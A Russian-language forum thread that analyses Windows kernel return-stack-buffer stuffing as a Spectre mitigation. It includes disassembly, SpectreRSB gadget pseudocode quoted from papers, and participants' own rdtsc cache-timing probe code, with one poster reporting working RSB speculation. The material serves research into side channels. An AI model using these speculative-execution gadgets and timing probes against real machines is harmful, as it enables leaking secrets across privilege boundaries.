Серия calls

Абсолютно не причем findwindow, посмотри текстовик там. NtUserFindWindowEx это системный сервис, на стороне ядра все сервисы обрабатывает KiSystemCall64, тоесть это хэндлер после смены мода и в нём уже эта серия.

Где в SDM найти как это следует использовать не знаю, в amd sdm только описание регистра без подробностей как его использовать.

 

Ну так вы сами начали говорить про

А для вызовов 3 <--> 0 уже не используется механизм прерывания, чтобы как раз ускорить это действо. Там даже команды для этого ввели отдельные. И MSR предусмотрели, чтобы лишний раз не дергать GDT/LDT за сегментами 0 уровня.

 

> А для вызовов 3 <--> 0 уже не используется механизм прерывания

Да причём тут переключения, в той теме шла речь про возвращаемое значение rcx, а оно из сервиса возвращается и соотв ядерного сервисного хэндлера. Я кстате глянул, это адрес возврата из сервиса.)

Я же говорю что все шлюзы смены мода имеют одинаковый код - запись мср и серию calls.

У интела этот регистр именуется A32_PRED_CMD. Если сгуглить находится интересная инфа.

KVM: x86: expose CVE-2017-5715 ("Spectre variant 2") mitigations to guest

И там что то про этот регистр:

И вот ещё что то.

--- Сообщение объединено, 2 май 2025 ---

А вот и матчасть интела нашлась

Speculative Execution Side Channel Mitigations

 

Почитаю эту инфу утром. Но у меня тут еще один вопрос появился по поводу этих вызовов. Если эта функция такая элементарная, тогда: А) почему её не вынесли в отдельную подфункцию и тем самым экономя место и несколько вызовов; Б) зачем же понадобилось дублировать столь длинный код.
По поводу Б могу добавить, что обычно такие длинные куски кода дублируются для усложнения модификации и обхода какой-либо защиты. Но тут же просто линейный код без ветвлений. Хотя ветвления появляются, если начать задумываться о паразитных вычислениях.

Ладно. Все остальное утром.

 

В общем ясно как выяснить зачем нужна серия. Общий в isr код:

Код (Text):

1.     movzx   edx, byte ptr gs:278h
2.     test    edx, 2
3.     jz      L
4.     (call's)
5. L:
6.     lfence    ; opt.

Код (Text):

1.     if [gs:278h].i1
2.         (call's series)
3.     fi
4.     lfence

Нужно выяснить от чего зависит маркер в gs:278h, откуда это значение вообще берётся. Не удивлюсь что из каких то системных текстовых конфигов, крайне интересно узнать. Ида не находит откуда загружается эта переменная и инструкцию записи связанную с константой 278. Тоесть эта переменная загружается не ядром.

 

В общем я посмотрел, похоже статик это не разобрать.

Аналогичная серия есть в шедулере:

Код (Text):

1. .text:0000000140405D1E                 cli
2. .text:0000000140405D1F                 movzx   eax, byte ptr gs:851h
3. .text:0000000140405D28                 cmp     gs:27Ah, al
4. .text:0000000140405D30                 jz      short loc_140405D43
5. .text:0000000140405D32                 mov     gs:27Ah, al
6. .text:0000000140405D3A                 mov     ecx, 48h ; 'H'
7. .text:0000000140405D3F                 xor     edx, edx
8. .text:0000000140405D41                 wrmsr
9. .text:0000000140405D43
10. .text:0000000140405D43 loc_140405D43:                          ; CODE XREF: SwapContext+1E0↑j
11. .text:0000000140405D43                 movzx   edx, byte ptr gs:852h
12. .text:0000000140405D4C                 test    edx, 10h
13. .text:0000000140405D52                 jz      short loc_140405D6B
14. .text:0000000140405D54                 mov     eax, 1
15. .text:0000000140405D59                 xor     edx, edx
16. .text:0000000140405D5B                 mov     ecx, 49h ; 'I'
17. .text:0000000140405D60                 wrmsr
18. .text:0000000140405D62                 movzx   edx, byte ptr gs:852h
19. .text:0000000140405D6B
20. .text:0000000140405D6B loc_140405D6B:                          ; CODE XREF: SwapContext+202↑j
21. .text:0000000140405D6B                 test    edx, 40h
22. .text:0000000140405D71                 jz      loc_140405E9C
23. .text:0000000140405D77                 call    loc_140405E8A
24. .text:0000000140405D7C
25. .text:0000000140405D7C loc_140405D7C:                          ; CODE XREF: SwapContext+239↓p
26. .text:0000000140405D7C                 add     rsp, 8
27. .text:0000000140405D80                 call    loc_140405E93
28. .text:0000000140405D85
29. .text:0000000140405D85 loc_140405D85:                          ; CODE XREF: SwapContext+242↓p
30. .text:0000000140405D85                 add     rsp, 8
31. .text:0000000140405D89                 call    loc_140405D7C
32. .text:0000000140405D8E
33. .text:0000000140405D8E loc_140405D8E:                          ; CODE XREF: SwapContext+24B↓p
34. .text:0000000140405D8E                 add     rsp, 8
35. .text:0000000140405D92                 call    loc_140405D85

ISR gs:278h -> gs:852h

gs:278h набор флагов, управляющих разными сериями.

Явной загрузки gs:278h в ядре нет. Нашлась процедура PspSetProcessPpmPolicy напоминающая загрузку флагов, да и название намекает:

Код (Text):

1. PspSetProcessPpmPolicy:
2.     sub     rsp, 28h
3.     mov     r9, rcx
4.     shl     edx, 7
5.     prefetchw byte ptr [rcx+278h]
6. loc_1406F5181:
7.     mov     eax, [rcx+278h]
8.     mov     r8d, eax
9.     and     r8d, 0FFFFFC7Fh
10.     or      r8d, edx
11.     lock cmpxchg [rcx+278h], r8d
12.     jnz     short loc_1406F5181
13.     cmp     cs:KeNumberProcessorsGroup0+2, 0
14.     jnz     loc_140820AFA
15. loc_1406F51AC:
16.     add     rsp, 28h
17.     retn

- используется смещение 278h и операция and-or, тоесть маска на флаги. Вызовы идут куда то в инит ядра, там по дизу не понятно.

--- Сообщение объединено, 2 май 2025 ---

Нагуглил ключи реестра, нашёлся даже скрипт.

Здесь описаны ключи и сказано что мс давала описание, откуда они это взяли хз, это наверно какие то приваты.

Код (Text):

1. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\FeatureSettingsOverride]
2. “Spectre_Mitigation_ControlFlags”=dword:00000000
3.  
4. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\FeatureSettingsOverride]
5. “L1TF_Mitigation_ControlFlags”=dword:00000000

Этих строк нет в ntos и winload.

 

1. Код находится в критических обработчиках исключений ядра (KiRaiseSecurityCheckFailure, KiRaiseAssertion, KiDebugServiceTrap), которые активируются при нарушениях безопасности.

1. Последовательные вызовы с постоянным изменением указателя стека (add rsp, 8) создают предсказуемый шаблон модификации стека, который может использоваться как "канарейка" для обнаружения его повреждения.

1. В контексте запрещенных прерываний этот паттерн может служить для выявления определенных типов эксплойтов или аппаратных уязвимостей (например, Spectre/Meltdown или других side-channel атак).

 

sdm

Стало понятно. Эта серия нужна для очистки буфера(return stack buffer). Макс размер - 32 записи, поэтому и call's тоже 32.

--- Сообщение объединено, 7 май 2025 ---

Пример кода атаки нашелся.

--- Сообщение объединено, 7 май 2025 ---

amd дока по защите.

 

Код (Text):

1. .text:000000014040FCCF                 lfence
2. .text:000000014040FCD2                 test    byte ptr gs:278h, 1
3. .text:000000014040FCDB                 jnz     short loc_14040FCE5
4. .text:000000014040FCDD                 lfence
5. .text:000000014040FCE0                 jmp     loc_14040FF3B
6. .text:000000014040FCE5 ;

 

Cколь ко вообще есть HW CPU аттак
где есть список за 20 лет?

 

Выше ссылка на список спекул. атак от амд.

Помню тут была тема по spectre, надо бы поискать. Вот только я сомневаюсь что rdtsc может замерять тайминг одной инструкции. Свапконтекст(reload cr3) можно скипнуть через восстановление сегментных регистров.

--- Сообщение объединено, 10 май 2025 в 15:42 ---

Аа я уже что то тестил, не начале кванта, но на большой статистике это не важно.

 

В доках про такие атаки индексация массива разная:

Код (Text):

1. 1: movzx (%rcx), %rax
2. 2: shl $12, %rax
3. 3: movq (%rbx ,%rax ,1) , %rbx

Reinforcing Meltdown Attack by using a Return Stack Buffer

Код (Text):

1. 1. Function gadget()
2. 2. {
3. 3. push %rbp
4. 4. mov %rsp, %rbp
5. 5. pop %rdi //remove frame/return address
6. 6. pop %rdi //from stack stopping at
7. 7. pop %rdi //next return address
8. 8. nop
9. 9. pop %rbp
10. 10. clflush (%rsp) //flush the return address
11. 11. cpuid
12. 12. retq //triggers speculative return to 17
13. 13. } //committed return goes to 23
14. 14. Function speculative(char *secret_ptr)
15. 15. {
16. 16. gadget(); //modify the Software stack
17. 17. secret = *secret_ptr; //Speculative return here
18. 18. temp &= Array[secret * 256]; //Access Array
19. 19. }
20. 20. Function main()
21. 21. {
22. 22. speculative(secret_address);
23. 23. for (i = 1 to 256) //Actual return to here
24. 24. {
25. 25. t1 = rdtscp();
26. 26. junk = Array[i * 256]; //check cache hit
27. 27. t2 = rdtscp();
28. 28. }
29. 29. }

Spectre Returns! Speculation Attacks using the Return Stack Buffer

Код (Text):

1. mov al , [ r15 + rax ] ; al = argN [ ADDRESS ]
2. 6 shl eax , 12 ; eax = leaked byte
3. 7 mov al , [ r15 + rax ]

- не помню из какой доки.

Правильно наверно *4k, тк страница кэшируется. Тогда размер массива 1M. Что бы провести замер тайминга следует взять хотя бы 32 итерации, те массив 32*256*4k = 32M, не особо много.

Сработает ли несколько выборок ?

Код (Text):

1. Array[V * 4k]
2. Array[V * 4k][1M]
3. Array[V * 4k][2M]
4. Array[V * 4k][3M]
5. ...

Тогда можно попытаться точно тайминг замерить из 32 выборок.

Можно это сделать даже после прерывания(что бы исключить прерывание выборок) через seg_reg.RPL(seg = 0) -> 0.

--- Сообщение объединено, 11 май 2025 в 01:57 ---

Есть еще идея системным профайлером(ntstartprofile) замерить, он вернет счетчики по адресам цикла. Такое сработает ?

 

а смысл есть, если позакрывали spectre/melt?

 

Так ведь фикс в ядре, а кодес юзер.

--- Сообщение объединено, 11 май 2025 в 20:42 ---

galenkane

Выше амд док по защите, почти все методы - фикс юзер кода, eg: вставка lfence. Фикс ядра защищает лишь от нескольких атак.

 

Всё же дельта tsc на одной инструкции с выборкой значительна.

Код (Text):

1.  
2. Pages BYTE 1000h*256 dup (?)
3.  
4.     mov ebx,256
5.     .repeat
6.         mov ecx,ebx
7.         shl ecx,12
8.         mov ecx,D[Pages][ecx]    ; paging
9. ;            clflush D[Pages][ecx]
10.         dec ebx
11.     .until Zero?
12.             invoke Sleep, 50    ; swapcontext: reload cr3
13.  
14.     mov eax,16        [M]: index
15.     shl eax,12
16.     mov ebx,D Pages[eax] ; +cache
17.  
18.     mov ebx,256
19.     .repeat
20.         rdtsc
21.         mov esi,eax
22.         mov edi,edx
23.         mov ecx,ebx
24.         shl ecx,12
25.  
26.         mov ecx,D Pages[ecx]
27.         rdtsc
28.         sub eax,esi
29.         sbb edx,edi
30.         mov D Tsc[0][ebx*8],eax    ; dTSC
31.         mov D Tsc[4][ebx*8],edx
32.  
33.         dec ebx
34.     .until Zero?
35.  
36.     mov ebx,256
37.     .repeat
38.         %DBG "dTSC 0x%X 0x%X", Ebx, D Tsc[0][ebx*8]
39.         dec ebx
40.     .until Zero?

Такие конструкции тайминг не изменяют, те ничего не кэшируется, никакой спекуляции:

Код (Text):

1.     call L1
2.     lea ecx,Buffer
3.     movzx eax,B[ecx]
4.     shl eax,12
5.     mov ebx,D Pages[eax]
6. L1:
7.     lea esi,Meas
8.     mov D[esp],esi
9.     retn
10.     -
11.     push offset Meas
12.     call L1
13.     lea ecx,Buffer
14.     movzx eax,B[ecx]
15.     shl eax,12
16.     mov ebx,D Pages[eax]
17. L1:
18.     pop eax
19.     retn
20.        -
21.     xor eax,eax
22.     inc eax
23.     jz L1
24.     nop
25.     jmp L2
26. L1:
27.     lea ecx,Buffer
28.     movzx eax,B[ecx]
29.     shl eax,12
30.     mov ebx,D Pages[eax]
31. L2:

Если все адреса начальные закэшировать, получается такое:



Процик cpuid(1).Eax = 0x00610F31
AMD Family 15h Models 00h-0Fh падающий при трассировке.)

--- Сообщение объединено, 12 май 2025 в 16:46 ---

Тайминг по свапконтексту и прерываниям, dtsc/1s ~ 0x7ECxxxxx.

Код (Text):

1. Test2:
2.  
3.     xor ebx,ebx
4.     mov fs,bx
5.     .repeat
6.         rdtsc
7.         mov esi,eax
8.         mov edi,edx
9.         mov bx,fs
10.     .until Ebx
11.     rdtsc
12.     sub eax,esi
13.     sbb edx,edi
14.     .if Eax > 50h
15.         %DBG "dTSC 0x%X", Eax
16.     .endif
17.     jmp Test2
18.  
19. Test5:
20.     mov ebx,11B
21.     mov fs,bx
22.     .repeat
23.         rdtsc
24.         mov esi,eax
25.         mov edi,edx
26.         mov bx,fs
27.         cmp ebx,53h
28.         je Test5
29.     .until !Ebx
30.     rdtsc
31.     sub eax,esi
32.     sbb edx,edi
33.     mov bx,53h
34.     mov fs,bx
35.     .if Eax > 50h
36.         %DBG "dTSC 0x%X", Eax
37.     .endif
38.     jmp Test5

 

новое найти?
и продать за 100-ню

 

В общем работает rsb-спекуляция:



В семпле сохраняется dtsc в буфер, поведение зависит от его выравнивания, не понято как. Это не страничный фаулт(подкачка).

AMD64 Family 21 Model 19 Stepping 1(AMD A8-5550M)

Update Revision: 1F 11 00 06
Prev upd.: 19 11 00 06

- так понимаю это обновы микрокода ?

 

Как по мне такие проектики сложно кодить.
Вот пытался CVE-2024-45332 сделать, ничего не вышло.

--- Сообщение объединено, 14 май 2025 в 23:42 ---

Связанные CVE:

• CVE-2018-15572: SpectreRSB - спекулятивное исполнение через RSB

• CVE-2019-1125: Атаки через SWAPGS использующие спекуляцию